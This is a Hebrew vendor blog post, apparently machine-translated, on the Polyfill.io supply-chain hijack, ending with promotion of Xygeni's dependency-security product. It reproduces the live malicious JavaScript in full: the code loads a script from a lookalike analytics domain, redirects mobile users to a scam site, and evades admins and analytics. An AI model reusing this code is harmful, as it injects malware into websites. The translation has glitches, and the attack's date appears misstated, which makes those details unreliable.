בחודש פברואר 2024, מתקפת שרשרת האספקה של Polyfill.io—דוגמה מובהקת של מתקפות שרשרת אספקה של תוכנה—פרצה מעל 100,000 אתרים ברחבי העולם. תקרית זו כללה חטיפת חבילות, שם FUNNULL, ישות זדונית, השתלטה על הדומיין של Polyfill ועל מאגר GitHub, והחדירה תוכנה זדונית לשירות. התוכנה הזדונית כיוונה במיוחד משתמשים ניידים, והפנתה אותם לאתרי הימורים הונאה על ידי ניצול פגיעויות בהעברת הקוד הדינמית של Polyfill המבוססת על כותרות HTTP וסוכני משתמש.
פירוט טכני: כיצד עבדה מתקפת הפוליפיל
Polyfill מאומץ באופן נרחב כדי להבטיח תאימות בין תכונות אינטרנט מודרניות לדפדפנים ישנים יותר. התוקפים השתמשו ב- חטיפת חבילות על ידי רכישת cdn.polyfill.io דומיין והטמעת סקריפטים זדוניים. מה שהפך את ההתקפה הזו למסוכנת כל כך הייתה ההתנהגות המתוחכמת של התוכנה הזדונית:
- יצירת קוד דינמיתהשירות של Polyfill יצר תגובות JavaScript מותאמות אישית בהתבסס על המכשיר שניגש לאתר (למשל, נייד לעומת מחשב שולחני), כותרות HTTP וסוכני משתמש. תוקפים ניצלו את האופי הדינמי הזה, והזריקו מטענים זדוניים המותאמים למכשירים ספציפיים - במיוחד טלפונים ניידים.
- טכניקות התחמקותהתוכנה הזדונית הייתה חכמה. היא עיכבה את הביצוע כאשר זוהו שירותי ניתוח כמו גוגל אנליטיקס, ומנעה את הופעת פעולותיה בסטטיסטיקות האתר. בנוסף, היא לא הופעלה אם זוהו משתמשי מנהל או מפתחים, מה שמנע עוד יותר זיהוי מוקדם במהלך ניפוי שגיאות או בדיקות.
- ניתוב מחדש לניידלאחר הפעלתה, התוכנה הזדונית ניתבה משתמשים לאתרי הימורים הונאה על ידי התחזות לדומיינים לגיטימיים (למשל, googie-anaiytics.comהתוקפים אף תמרנו חלונות זמן כדי להפחית חשד, והפעילו את המטען רק בשעות מסוימות כדי לתפוס משתמשים ניידים תמימים לא מוכנים.
האתרים הגדולים ביותר שנפגעו ממתקפת הפוליפיל
השמיים מתקפת שרשרת האספקה של פוליפיל השפיעו על למעלה מ-100,000 אתרים, כולל ארגונים גדולים כגון:
- פורום הכלכלי עולמי
- אינטואיט
- JSTOR
- בנק אוף אירלנד
- קולדרוול בנקר
- לייב ניישן
- אוניברסיטת ברנדייס
- חברת שדות התעופה של דובאי
- קרן להגנת הסביבה
קורבנות מתוקשרים אלה מדגישים את ההשפעה הגלובלית של המתקפה ואת הפגיעות של מוסדות גדולים לפריצות בשרשרת האספקה.
אזהרות מוקדמות ותגובה
אנדרו בטס, היוצר המקורי של Polyfill, הזהיר את המפתחים חודשים לפני ההתקפה הפסקת השימוש בשירות Polyfill לאחר שאיבד שליטה על הדומיין. אזהרתו נותרה כמעט ללא תשומת לב עד שהתקפתו של FUNNULL הושקה. לאחר שזוהתה, רשתות אספקת תוכן כמו Cloudflare ו-Fastly סיפק חלופות מאובטחות, בעוד בטס חזר על עצתו למפתחים להסיר לחלוטין את ההפניות ל-Polyfill.
אף אתר אינטרנט כיום אינו דורש אף אחד מהפוליפילים שב https://t.co/3xHecLPXkB ספרייה. רוב התכונות שנוספו לפלטפורמת האינטרנט מאומצות במהירות על ידי כל הדפדפנים העיקריים, למעט כמה יוצאים מן הכלל שבדרך כלל לא ניתן למלא אותם במספר קבצים בכל מקרה, כמו Web Serial ו-Web Bluetooth.
— אנדרו בטס (@triblondon) פברואר 25, 2024
דוגמה למטען זדוני של Polyfill
כדי להמחיש את התחכום של מתקפת שרשרת האספקה של פוליפיל, סאנסק סיפק דוגמה מפורטת של המטען הזדוני בו נעשה שימוש. מטען זה התאים את עצמו באופן דינמי בהתבסס על מכשיר המשתמש, הפעיל הפניות לאתרי אינטרנט הונאה והשתמש בטכניקות כדי להתחמק מגילוי. למבט מקרוב על הפירוט הטכני של מטען זה, ניתן לבדוק סנסק'ס ניתוח מלא ודגימת קוד זדוני.
function isPc() {
try {
var _isWin =
navigator.platform == "Win32" || navigator.platform == "Windows",
_isMac =
navigator.platform == "Mac68K" ||
navigator.platform == "MacPPC" ||
navigator.platform == "Macintosh" ||
navigator.platform == "MacIntel";
if (_isMac || _isWin) {
return true;
} else {
return false;
}
} catch (_0x44e1f6) {
return false;
}
}
function vfed_update(_0x5ae1f8) {
_0x5ae1f8 !== "" &&
loadJS(
"https://www.googie-anaiytics.com/html/checkcachehw.js",
function () {
if (usercache == true) {
window.location.href = _0x5ae1f8;
}
}
);
}
function check_tiaozhuan() {
var _isMobile = navigator.userAgent.match(
/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i
);
if (_isMobile) {
var _curHost = window.location.host,
_ref = document.referrer,
_redirectURL = "",
_kuurzaBitGet = "https://kuurza.com/redirect?from=bitget",
_rnd = Math.floor(Math.random() * 100 + 1),
_date = new Date(),
_hours = _date.getHours();
if (
_curHost.indexOf("www.dxtv1.com") !== -1 ||
_curHost.indexOf("www.ys752.com") !== -1
) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_curHost.indexOf("shuanshu.com.com") !== -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_ref.indexOf(".") !== -1 && _ref.indexOf(_curHost) == -1) {
_redirectURL = "https://kuurza.com/redirect?from=bitget";
} else {
if (_hours >= 0 && _hours < 2) {
if (_rnd <= 10) {
_redirectURL = _kuurzaBitGet;
}
} else {
if (_hours >= 2 && _hours < 4) {
_rnd <= 15 && (_redirectURL = _kuurzaBitGet);
} else {
if (_hours >= 4 && _hours < 7) {
_rnd <= 20 && (_redirectURL = _kuurzaBitGet);
} else {
_hours >= 7 && _hours < 8
? _rnd <= 10 && (_redirectURL = _kuurzaBitGet)
: _rnd <= 10 && (_redirectURL = _kuurzaBitGet);
}
}
}
}
}
}
_redirectURL != "" &&
!isPc() &&
document.cookie.indexOf("admin_id") == -1 &&
document.cookie.indexOf("adminlevels") == -1 &&
vfed_update(_redirectURL);
}
}
let _outerPage = document.documentElement.outerHTML,
bdtjfg = _outerPage.indexOf("hm.baidu.com") != -1;
let cnzfg = _outerPage.indexOf(".cnzz.com") != -1,
wolafg = _outerPage.indexOf(".51.la") != -1;
let mattoo = _outerPage.indexOf(".matomo.org") != -1,
aanaly = _outerPage.indexOf(".google-analytics.com") != -1;
let ggmana = _outerPage.indexOf(".googletagmanager.com") != -1,
aplausix = _outerPage.indexOf(".plausible.io") != -1,
statcct = _outerPage.indexOf(".statcounter.com") != -1;
bdtjfg || cnzfg || wolafg || mattoo || aanaly || ggmana || aplausix || statcct
? setTimeout(check_tiaozhuan, 2000)
: check_tiaozhuan();
מדוע התרחשה מתקפת שרשרת האספקה של פוליפיל?
מתקפת שרשרת האספקה של פוליפיל מדגישה את החשיבות הקריטית פגיעויות בתלות של צד שלישי ניהול. המערכת האקולוגית המודרנית של JavaScript מסתמכת במידה רבה על ספריות קוד פתוח, ומפתחים משתמשים לעתים קרובות בכלים כמו npm כדי לשלב ספריות אלו באופן אוטומטי. ללא ביקורת קפדנית או ניטור מתמשך, חבילות שנפגעו עלולות לחמוק מבלי להתגלות, כפי שנראה עם Polyfill.
יתר על כן, הקצב המהיר של הפיתוח והפריסה בסביבות התוכנה של ימינו מעדיף לעתים קרובות פונקציונליות ומהירות על פני בדיקות אבטחה יסודיות. תוקפים מנצלים פער זה, ומתמקדים בספריות פופולריות כדי למקסם את השפעתן. במקרה של Polyfill, לאחר שהתוקפים השתלטו על הדומיין, הם מינפו את השימוש הנרחב בספרייה כדי להחדיר קוד זדוני למספר עצום של אתרי אינטרנט.
תקרית זו מדגישה את החשיבות של יישום אמצעי אבטחה מחמירים, כגון כלי ביקורת תלויות, ניטור בזמן אמת ותוכניות תגובה חזקות לאירועים, כדי להגן מפני מתקפות דומות בשרשרת האספקה של תוכנה. ארגונים חייבים לתעדף את האבטחה בתהליכי העבודה של הפיתוח שלהם כדי להגן ביעילות על המערכות האקולוגיות הדיגיטליות שלהם.
מניעת התקפות עתידיות: ניהול תלות איתן
בעת ניהול תלויות, קסיגני'ס Open Source Security פלטפורמה משתמש בשכבות הגנה מרובות, שנועדו לזהות, להכניס להסגר ולתקן רכיבים זדוניים בזמן אמת ולמנוע התקפות בשרשרת האספקה של תוכנה.
זיהוי תוכנות זדוניות בזמן אמתXygeni מנטרת באופן רציף רישומים ציבוריים, וסורקת קוד חשוד לפני שהוא נכנס לסביבת הפיתוח. זה מאפשר חסימה יזומה של איומים כמו מתקפת Polyfill, כפי שמודגש ב של לואיס רודריגז סדרת מאמרים.
התראות אוטומטיות והסגרXygeni מבודד אוטומטית חבילות שנפרצו ומייצר התראות, מה שמאפשר לצוותי פיתוח לפעול במהירות. על ידי שילוב עם CI/CD pipelines, ניתן לעצור כל איום לפני שהוא מגיע למצב ייצור. במקרים כמו תקרית Polyfill, תכונה זו מונעת השפעה נרחבת על ידי עצירת קוד זדוני מוקדם.
קביעת סדרי עדיפויות דינמיים SBOMXygeni מתעדפת באופן דינמי פגיעויות בהתבסס על הקשר, ניצול והשפעה עסקית. על ידי יצירת רשימת חומרים של תוכנה בזמן אמת (SBOM)ארגונים יכולים לעקוב אחר כל רכיבי צד שלישי, ובכך להבטיח שקיפות מלאה. ניטור בזמן אמת זה חיוני בעת ניהול תלויות בקוד פתוח, ומאפשר תגובות מהירות לאירועים כמו חטיפת Polyfill.
בסדרת המאמרים מאת לואיס רודריגז, ההתמקדות ב הגנה יזומה נגד חבילות קוד פתוח זדוניות נדונה בפירוט. הגישה של Xygeni לא רק מכסה זיהוי בזמן אמת אלא גם מספקת מסלולי תיקון אוטומטיים, המאפשרים לארגונים לחזור לגירסאות בטוחות מבלי לשבש את הייצור.
לבדוק חבילות זדוניות בקוד פתוח סדרת מאמרים כאן כדי ללמוד עוד על האופן שבו Xygeni מנהלת אבטחת קוד פתוח.
הגן על תלויות הקוד הפתוח שלך מפני תוכנות זדוניות
גלו אסטרטגיות פרואקטיביות לאבטחת תוכנות קוד פתוח מפני איומי תוכנות זדוניות. הורידו את המסמך הטכני שלנו לקבלת תובנות חיוניות על הגנה מפני תוכנות זדוניות.
לקחים מהתקפת הפוליפיל
השמיים מתקפת שרשרת האספקה של Polyfill.io מלמד לקחים מכריעים על הסיכונים של תלות עם צד שלישי בפיתוח אתרים מודרני.
- ערנות בתלות של צד שלישיזוהי המסקנה החשובה ביותר. ארגונים חייבים לבדוק, לבדוק ולנטר באופן קבוע כל ספריות צד שלישי בהן הן משתמשות. הסתמכות יתר על תלויות שלא נבדקו עלולה לחשוף מערכות לסיכונים חמורים.
- אמצעי אבטחה פרואקטיבייםניטור מתמשך, כגון עם זיהוי איומים בזמן אמת של Xygeni, יכול לזהות נקודות תורפה מוקדם.
- חינוך והכשרהעדכון כל חברי הצוות באיומים האחרונים מחזק את אבטחת הארגון.
מתקפת שרשרת האספקה של Polyfill משמשת תזכורת חזקה לאיום הגובר שמציב מתקפות שרשרת אספקה של תוכנההתקפות אלו מנצלות פגיעויות ברכיבי צד שלישי הנמצאים בשימוש נרחב, ומשאירות ארגונים מכל הגדלים חשופים. על ידי אימוץ אמצעי אבטחה פרואקטיביים, כגון ניטור בזמן אמת, זיהוי איומים אוטומטי, ו ניהול תלות חזק—כמו אלו שמציעה Xygeni — חברות יכולות להגן על עצמן מפני איומים דומים בעתיד. שמירה על ערנות ופיקוח מקיף על ספריות צד שלישי הן המפתח למניעת פגיעות בקנה מידה גדול כמו Polyfill.
אבטחו את תלות הקוד הפתוח שלכם מפני מתקפות שרשרת אספקה של תוכנה
אל תתנו לאפליקציה שלכם ליפול קורבן ל... מתקפות שרשרת אספקה של תוכנה כמו פוליפיל. קסיגני'ס Open Source Security פלטפורמה מציע ניטור בזמן אמת, מיפוי תלויות מתקדם ותיקון אוטומטי כדי להגן על הפיתוח שלך pipelineמחבילות שנפרצו.
קחו שליטה על שרשרת האספקה של התוכנה שלכם עוד היום. שמור הדגמה וראו כיצד Xygeni יכולה להגן על הארגון שלכם מפני איומים עתידיים.







